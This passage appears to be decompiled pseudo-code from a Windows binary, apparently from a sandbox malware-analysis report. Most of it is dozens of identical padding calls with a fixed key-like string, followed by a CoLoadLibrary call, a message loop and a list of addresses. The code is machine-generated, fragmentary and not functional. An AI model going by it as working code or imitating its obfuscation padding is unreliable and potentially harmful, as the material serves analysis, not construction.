				E000007FE7FEF7521628(_t1421, _t1782, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1783 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1783, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1784 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1784, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1785 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1785, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1786 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1786, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1787 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1787, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1788 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1788, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1789 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1789, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1790 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1790, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1791 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1791, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1792 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1792, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1793 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1793, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1794 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1794, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1795 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1795, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1796 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1796, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1797 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1797, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1798 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1798, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1799 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1799, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1800 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1800, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1801 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1801, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1802 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1802, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1803 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1803, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1804 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1804, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1805 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1805, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1806 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1806, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1807 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1807, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1808 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1808, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1809 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1809, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1810 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1810, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1811 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1811, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1812 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1812, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1813 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1813, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1814 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1814, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1815 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1815, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1816 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1816, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1817 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1817, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1818 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1818, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1819 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1819, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1820 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1820, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1821 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1821, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1822 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1822, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1823 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1823, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1824 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1824, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1825 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1825, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1826 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1826, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1827 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1827, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1828 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1828, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1829 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1829, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1830 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1830, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1831 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1831, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1832 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1832, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1833 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1833, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1834 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1834, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1835 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1835, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1836 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1836, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1837 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1837, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1838 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1838, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1839 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1839, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1840 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1840, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1841 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1841, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1842 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1842, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1843 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1843, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1844 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1844, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1845 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1845, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1846 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1846, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1847 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1847, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1848 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1848, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1849 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1849, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1850 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1850, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1851 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1851, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1852 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1852, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1853 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1853, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1854 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1854, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1855 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1855, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1856 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1856, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1857 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1857, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1858 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1858, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1859 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1859, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1860 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1860, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1861 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1861, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1862 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1862, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1863 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1863, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1864 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1864, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1865 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1865, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1866 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1866, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1867 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				E000007FE7FEF7521628(_t1421, _t1867, 0xf7540460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7540460);
				_t1868 = _t1652;
				E000007FE7FEF7521848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF75214D0(_t1652, _t1652, 0xf7540460);
				__imp__CoLoadLibrary(); // executed
				if (_t1652 != 0) goto 0xf752552c;
				r9d = r14d;
				LoadStringW(??, ??, ??, ??);
				r9d = r14d;
				LoadStringW(??, ??, ??, ??);
				E000007FE7FEF7521444(_t2745);
				_t760 = _t2758 + 1; // 0x1
				if (E000007FE7FEF75210F4(_t760, _t1868, _t2745) == 0) goto 0xf752563e;
				LoadAcceleratorsW(??, ??);
				goto 0xf752550b;
				if (TranslateAcceleratorW(??, ??, ??) != 0) goto 0xf752550b;
				TranslateMessage(??);
				DispatchMessageW(??);
				r9d = 0;
				r8d = 0;
				if (GetMessageW(??, ??, ??, ??) != 0) goto 0xf75254de;
				ExitProcess(??);
			}

0x7fef7521964
0x7fef7521967
0x7fef752196b
0x7fef752196f
0x7fef752197c
0x7fef7521983
0x7fef752198a
0x7fef7521991
0x7fef7521994
0x7fef752199d
0x7fef75219a0
0x7fef75219a6
0x7fef75219ae
0x7fef75219b6
0x7fef75219be
0x7fef75219c1
0x7fef75219c9
0x7fef75219d1
0x7fef75219d9
0x7fef75219e1
0x7fef75219e5
0x7fef75219ed
0x7fef75219f5
0x7fef75219fd
0x7fef7521a05
0x7fef7521a0d
0x7fef7521a14
0x7fef7521a1b
0x7fef7521a1f
0x7fef7521a26
0x7fef7521a2d
0x7fef7521a34
0x7fef7521a3b
0x7fef7521a42
0x7fef7521a49
0x7fef7521a50
0x7fef7521a57
0x7fef7521a5e
0x7fef7521a65
0x7fef7521a6c
0x7fef7521a73
0x7fef7521a7a
0x7fef7521a81
0x7fef7521a88
0x7fef7521a8f
0x7fef7521a96
0x7fef7521a9d
0x7fef7521aa4
0x7fef7521aab
0x7fef7521ab2
0x7fef7521ab9
0x7fef7521ac0
0x7fef7521ac7
0x7fef7521ace
0x7fef7521ad5
0x7fef7521adc
0x7fef7521ae3
0x7fef7521aea
0x7fef7521af1
0x7fef7521af8
0x7fef7521aff
0x7fef7521b06
0x7fef7521b0d
0x7fef7521b14
0x7fef7521b1b
0x7fef7521b22
0x7fef7521b29
0x7fef7521b30
0x7fef7521b37
0x7fef7521b3e
0x7fef7521b45
0x7fef7521b4c
0x7fef7521b53
0x7fef7521b5a
0x7fef7521b61
0x7fef7521b68
0x7fef7521b6f
0x7fef7521b76
0x7fef7521b7d
0x7fef7521b84
0x7fef7521b8b
0x7fef7521b92
0x7fef7521b99
0x7fef7521ba0
0x7fef7521ba7
0x7fef7521bae
0x7fef7521bb5
0x7fef7521bbc
0x7fef7521bc3
0x7fef7521bca
0x7fef7521bd1
0x7fef7521bdb
0x7fef7521be5
0x7fef7521bef
0x7fef7521bf9
0x7fef7521c03
0x7fef7521c0d
0x7fef7521c17
0x7fef7521c21
0x7fef7521c2b
0x7fef7521c35
0x7fef7521c3f
0x7fef7521c49
0x7fef7521c53
0x7fef7521c5d
0x7fef7521c67
0x7fef7521c71
0x7fef7521c7b
0x7fef7521c85
0x7fef7521c8f
0x7fef7521c99
